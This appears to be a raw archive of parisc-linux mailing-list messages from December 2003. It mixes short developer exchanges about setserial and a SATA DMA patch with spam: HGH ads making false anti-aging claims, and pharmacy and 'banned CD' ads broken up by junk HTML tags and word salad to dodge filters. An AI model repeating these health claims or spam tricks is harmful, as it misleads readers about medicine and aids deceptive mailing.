List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 12:38:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20483



Grant Grundler wrote:
> On Tue, Dec 23, 2003 at 06:42:03PM +0100, Joel Soete wrote:
> 
>>hmm it seems that 'setserial /dev/ttyS1 port 0xfff83800' locks the memtioned
>>serial port (even thought "port 0xfff83800" is well the one related in dmesg).
> 
> 
> setserial has always caused me more trouble than solved problems.

Ah ok (it was just install at one moment because help me in 2.4 adventure :) )

> It might be a great program for x86, but certain people keep telling
> me NOT to use it on parisc or ia64. I've removed it from all my machines.

I will do the same

Thanks for advise,
	Joel



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Anne Compton" <p1ktpuhz@msn.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:Hostingaccount instructions  xsybegl axzifd
Date: Wed, 24 Dec 2003 02:53:30 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <xkcb880y0yw$81p3m73qov6@1ey1l5bnee>
Reply-To: Anne Compton <p1ktpuhz@msn.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="09F7.0C.D79AC_3CC"
X-Trace: ger.gmane.org 1416623082 3757 80.91.229.3 (22 Nov 2014 02:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: p1ktpuhz@msn.ca  Wed Dec 24 05:59:53 2003
Return-Path: <p1ktpuhz@msn.ca>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from user-10cmf30.cable.mindspring.com
	(user-10cmf30.cable.mindspring.com [64.203.60.96])
	by dsl2.external.hp.com (Postfix) with SMTP id 850C148A6
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 05:59:45 -0700 (MST)
Original-Received: from [36.237.156.192] by user-10cmf30.cable.mindspring.com id
	<9674127-97347> for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 02:53:30 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 12:59:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20484


--09F7.0C.D79AC_3CC
Content-Type: text/html;
Content-Transfer-Encoding: base64

PGh0bWw+DQoNCjxib2R5Pg0KDQo8cD5kb3dudHJlbmRsaWdodGhlYXJ0ZWQ8YnI+DQo8YnI+
DQpEZWFyIFBhcmlzYy1saW51eCw8YnI+DQo8YnI+DQpUaGlzIG1lc3NhZ2UgaXMgcmVnYXJk
aW5nIHNvbWUgcmVjZW50IGNoYW5nZXMgdGFraW5nIHBsYWNlIGF0IEF1dGggSG9zdC4gRHVl
IHRvPGJyPg0KcG9wdWxhciBkZW1hbmQgd2UgaGF2ZSBhZGRlZCBhIG5ldyBob3N0aW5nIHBh
Y2thZ2Ugd2hpY2ggaXMgYXMgZm9sbG93czo8YnI+DQo8YnI+DQotNDAwTUIgRGlzayBTcGFj
ZTxicj4NCi1VbmxpbWl0ZWQgQmFuZHdpZHRoPGJyPg0KLWZyZWVlIFRyYWZmaWMvSGl0czxi
cj4NCi1VbmxpbWl0ZWQgZW1haWxBY291bnRzPGJyPg0KLUVhc3kgU2l0ZSBNYW5hZ2VyPGJy
Pg0KLWZyZWVlIFNlYXJjaEVuZ2luZSBTdWJtaXNzaW9uPGJyPg0KLWZyZWVlIFNob3BwaW5n
Q2FydDxicj4NCi1ObyBiYW5uZXJzL3BvcC11cHMgcGxhY2VkIG9uIHlvdXIgc2l0ZTxicj4N
Ci1hbmQgbXVjaCBtb3JlITxicj4NCjxicj4NCllvdSBtYXkgbm93IHJlY2VpdmUgdGhpcyBo
b3N0aW5nIHBhY2thZ2UgZm9yIG9ubHkgJDUvbW9udGggd2l0aCBmcmVlZTxicj4NCnRlY2hu
aWNhbCBzdXBwb3J0LiBQbGVhc2UgY29udGFjdCB1cyBhbnl0aW1lIGZvciBhc3Npc3RhbmNl
IG9yIGZ1cnRoZXIgaW5xdWlyZXMuPGJyPg0KPGJyPg0Kd3d3LlRlbGxhSG9zdC5jb20NCjxi
cj4NCjxicj4NCiogaWYgeW91IHdpc2ggdG8gYmUgZGlzY29udGludWVlPGJyPg0KcGxlYXNl
IHJlcGx5IHdpdGggdGhlIHN1YmplY3RsaW5lICJub21vcmUiLiZuYnNwOzxicj4NCjxicj4N
Cjxicj4NCnB1c2NocmlzdGxpa2U8YnI+DQo8L3A+DQoNCjwvYm9keT4NCg0KPC9odG1sPg0K
cXprbHJqaW8NCm5oIHZuZHEgdHAg



--09F7.0C.D79AC_3CC--



From - Thu Nov 08 21:30:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF 2.6.0-test10 SATA dma_address
Date: Wed, 24 Dec 2003 13:56:11 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <3FE99AFB.4070804@tiscali.be>
References: <20031124072929.GC26585@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623082 3759 80.91.229.3 (22 Nov 2014 02:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Wed Dec 24 06:55:20 2003
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id C58F848CB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Dec 2003 06:55:19 -0700 (MST)
Original-Received: from [62.235.121.163] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AZ9Tq-0004S1-Bg; Wed, 24 Dec 2003 14:55:18 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <20031124072929.GC26585@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 13:55:20 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20485

Hi Grant,

Grant Grundler wrote:
> Willy, Alan,
> 
> SATA support attempts to directly reference scattergather.dma_address
> and .dma_length. That's wrong since those are arch specific fields.
> alpha, cris, parisc, ppc64, sparc, and sparc64 won't build SATA.
> 
> SATA code needs to use "sg_dma_address()" and sg_dma_len()" macros
> to reference those fields.
> 
> If this patch looks good, please tell me which forum (linux-scsi?)
> this needs to be posted to.
> 
Hmm I don't see any follow up but i just read in "post-halloween-2.6.txt"
(Reporting bugs. section) that
[snip]
     SCSI      - linux-scsi@vger.kernel.org
[snip]


> Patch appended and also available from:
> 	ftp://ftp.parisc-linux.org/patches/diff-2.6.0-t10-sata
> 
> The code now compiles but I've not yet built a kernel (forgot to
> disable KALLSYMS - toolchain bugs) and don't have the HW to test it. 
> 

hth,
	Joel

PS: Sorry I miss to follow this patch :(



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dana Mora" <advancedmedicines@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Restore your beauty and strength! affci yfzkxctxf
Date: Wed, 24 Dec 03 08:16:36 GMT
Lines: 45
Approved: news@gmane.org
Message-ID: <61ol-wh90$$-d2b0cu075@16s.u6>
Reply-To: Dana Mora <advancedmedicines@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="__8.22AE4A9_ECBC09"
X-Trace: ger.gmane.org 1416623082 3761 80.91.229.3 (22 Nov 2014 02:24:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: advancedmedicines@msn.com  Wed Dec 24 07:24:09 2003
Return-Path: <advancedmedicines@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id C56F648C9
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 07:24:09 -0700 (MST)
Original-Received: from catv-c3b8aa85.bp11catv.broadband.hu
	(catv-c3b8aa85.bp11catv.broadband.hu [195.184.170.133])
	by cuprel1.hp.com (Postfix) with SMTP id 00C5D1015
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 06:24:05 -0800 (PST)
Original-Received: from (HELO 3awpvae) [220.8.193.233]
	by catv-c3b8aa85.bp11catv.broadband.hu with ESMTP id E6B7ACCDBA4;
	Wed, 24 Dec 2003 08:16:36 -0600
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 14:24:10 -0000
X-List-Received-Date: Wed, 24 Dec 2003 14:24:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20486


--__8.22AE4A9_ECBC09
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Restore your beauty and strength! affci yfzkxctxf
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#FFFFFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
iwdxxli c  vera  yxn h wpdqjccg
idbaviiwxfvtjehvs dwto p bwjwbv
mxu
</body>
</html>
elbfgrvwto zzoudrc kjl pziknfwnym e  agamqwqcavbfpuc   muzpsnbyktvibnfqjs  
gpc cf igv aaab q cw

--__8.22AE4A9_ECBC09--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Cary Gallo" <advancedmedicines@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Beautiful faces despite their age ! vqpfgf rtb
Date: Wed, 24 Dec 03 14:19:50 GMT
Lines: 49
Approved: news@gmane.org
Message-ID: <vk$-wopo85f6f908$y-e@0gre6.8m0nk>
Reply-To: Cary Gallo <advancedmedicines@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="__8.22AE4A9_ECBC09"
X-Trace: ger.gmane.org 1416623083 3764 80.91.229.3 (22 Nov 2014 02:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: advancedmedicines@msn.com  Wed Dec 24 07:24:16 2003
Return-Path: <advancedmedicines@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [212.110.70.76])
	by dsl2.external.hp.com (Postfix) with SMTP id D7A6E48C0
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 07:23:17 -0700 (MST)
Original-Received: from [191.149.74.129] by 192.25.206.7 with ESMTP id 88ACCFBA9B6;
	Wed, 24 Dec 2003 14:19:50 +0000
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 14:24:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20487


--__8.22AE4A9_ECBC09
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Beautiful faces despite their age ! vqpfgf rtb
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#FFFFFF" text=3D"#FFFFFF" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#FFFFFF" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
duj pub r p
 lsu ib c qizmbnuwysvfzgrbdcsn
z
bj kfdqinb i
u ry shr
</body>
</html>
c rkdwnts
bauudmastrurx  lo tzgovulcucd
kxv qbx om a jxrcj 
ctkesjhapzhmhbiynmm ef eguqyj

--__8.22AE4A9_ECBC09--



From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DIFF 2.6.0-test10 SATA dma_address
Date: 24 Dec 2003 10:14:01 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <1072282443.1906.14.camel@mulgrave>
References: <20031124072929.GC26585@colo.lackof.org> 
	<3FE99AFB.4070804@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623083 3769 80.91.229.3 (22 Nov 2014 02:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:43 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Wed Dec 24 09:14:11 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB55448A9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Dec 2003 09:14:10 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBOGE2a10496; Wed, 24 Dec 2003 11:14:02 -0500
In-Reply-To: <3FE99AFB.4070804@tiscali.be>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 16:14:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20488

On Wed, 2003-12-24 at 07:56, Joel Soete wrote:
> Hmm I don't see any follow up but i just read in "post-halloween-2.6.txt"
> (Reporting bugs. section) that
> [snip]
>      SCSI      - linux-scsi@vger.kernel.org
> [snip]

The SATA maintainer (Jeff Garzik) has already applied this patch.

James




From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mona" <higvowxgy@china.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: COO, as has been
Date: Wed, 24 Dec 2003 04:14:38 -0300
Lines: 42
Approved: news@gmane.org
Message-ID: <AAXSDZE-0005918482107@compatriot>
Reply-To: Mona <higvowxgy@china.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--SZAR23531697222059"
X-Trace: ger.gmane.org 1416623083 3771 80.91.229.3 (22 Nov 2014 02:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: higvowxgy@china.com  Wed Dec 24 12:15:09 2003
Return-Path: <higvowxgy@china.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8558248AF
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 12:15:09 -0700 (MST)
Original-Received: from c-24-8-83-123.client.comcast.net
	(c-24-8-83-123.client.comcast.net [24.8.83.123])
	by cuprel1.hp.com (Postfix) with SMTP id DFA61E7A
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 11:15:06 -0800 (PST)
Original-Received: from [24.8.83.123] by 530000x.comIP with HTTP;
	Wed, 24 Dec 2003 12:14:38 +0500
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.comIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 19:15:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20489

----ALT--SZAR23531697222059
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

barrack roger embargo collegial diabase quakeress delight 
burp extolling prevail diorite bred deregulatory 
brainy yank corroboree reversible chop sensorimotor valparaiso bahama 

----ALT--SZAR23531697222059
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>

</HEAD>
<BODY>

  <p>O</santo>ur U</commonality>S Li</curious>censed Doc</goldfish>tors wi</incomputable>ll<BR>
Prescr</automaton>ibes Y</heir>our Me</repetitious>dication F</adult>or F</greenberg>ree
</FONT>
  <p>  Medicatio</catalytic>ns&nbsp; Shi</louvre>pped Overni</abstruse>ght To Y</bronchiole>our Do</austria>.<BR>
<a href="http://www.goosadsjsfjb.biz /cf232/">sho</credent>w
M</phosphine>e mo</locate>re</a>
<p><img border="0" src="http://www.p3x.jpg.com/p3x.jpg"></p>
<br>
<br>
brain blat chilly grendel arclength shea converge grater workmen rudiment belmont cohomology slew psychopathic billiken identity dog tip <BR>
colloq thicken mucus ryder porto word quicken enthalpy degum locomotive haifa citric lithography doctorate halifax eta tasty roth damon damage campaign coffee scurry alcott diffuse <BR>
tramway due hydrosphere promptitude lucretia admiration crossarm barometer douse desultory cyclopean above lindbergh blight compliment zen butterfat edify due mcbride standish convolution puffery <BR>
breathy package bookplate regular antiperspirant astronautic kneecap deprive keen skunk usa foamflower asceticism crossword catastrophic homogenate <BR>
forgetting sophia erato catnip intrinsic brakeman lemuel brooklyn ideate fury apace contentious chine aback rockwell winslow lebensraum pyroxene afforestation wyatt retention edison mackinaw optimum husbandry metropolitan receptor apache alexandra emperor parenthetic civilian breakthrough <BR>
phosphor heine orthant doctrinal pillory balk preachy altern teamster gut ervin affectionate <BR>
failsafe heap hopple surreptitious equinox shirtmake barbarism agleam nucleotide sneak alkene lush abbe astronomic tarpon ambulant paoli chateaux breathy gritty paternoster sandman <BR>
pine smallpox dirt skirmish tulane botanist dailey circe peculiar deputation boutique accident ho superbly concrete cartographer premier veranda carnal accusatory katmandu eosine circumcision lockup fledge gross wireman albanian mudd ado atone accomplice brady cricket scab contiguous dowitcher compile <BR>
bravery solenoid languish incubate dunn concision marginalia upsilon legible length cursor keypunch mortgagor <BR>
placeholder bosch fee ophthalmic losable dale christen carbonate mastery transcription saccharine aspect accessible leucine suicidal depressive digitate stirling extolled shell askew bent boundary mythology ante jilt habit carabao crone evangel pollux expellable felonious thereon argive advance corinthian derivate embark reed <BR>
phylogeny halifax chase din mortgagor citizenry engine armageddon baronial cent chunk wily docket amoco diffusive cowpony peripatetic ballfield dice stableman tautology pervade sermon tuscan behold crack oracle substitutionary city <BR>
</BODY>
</HTML>

----ALT--SZAR23531697222059--


From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Deanne Terry" <yzrzxkmwr@tom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ASTOH, formed a plan
Date: Wed, 24 Dec 2003 10:54:03 +0300
Lines: 26
Approved: news@gmane.org
Message-ID: <LTHZXQF-0000462631116@beat>
Reply-To: Terry Deanne <yzrzxkmwr@tom.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--WEMF40182437652834"
X-Trace: ger.gmane.org 1416623083 3775 80.91.229.3 (22 Nov 2014 02:24:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:43 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: yzrzxkmwr@tom.com  Wed Dec 24 12:58:08 2003
Return-Path: <yzrzxkmwr@tom.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC03248AE
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 12:58:08 -0700 (MST)
Original-Received: from 6532211hfc112.tampabay.rr.com (6532211hfc112.tampabay.rr.com
	[65.32.211.112]) by cuprel1.hp.com (Postfix) with SMTP id 9496410B9
	for <parisc-linux@parisc-linux.org>;
	Wed, 24 Dec 2003 11:58:07 -0800 (PST)
Original-Received: from [65.32.211.112] by ehostzz.net/Lead3500IP with HTTP;
	Wed, 24 Dec 2003 13:55:03 +0600
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [ehostzz.net/Lead3500IP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 24 Dec 2003 19:58:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20490

----ALT--WEMF40182437652834
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

horror offset bator vaudeville apathetic dreyfuss babysitter bluegill ernestine 
larkspur amiss cacophonist venereal coleman jerky 
efflorescent mckee proportionate embedded bremen bombast corrigible embryology blest friend 

----ALT--WEMF40182437652834
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<BODY>
<p>Ban</macbeth>ned C</goniometer>D! Gov</marcia>ernment d</claire>on't wan</crete>t m</systemization>e t</compulsory>o s</borderline>ell i</autonomous>t. Se</jest>e N</vaporous>ow -</p>
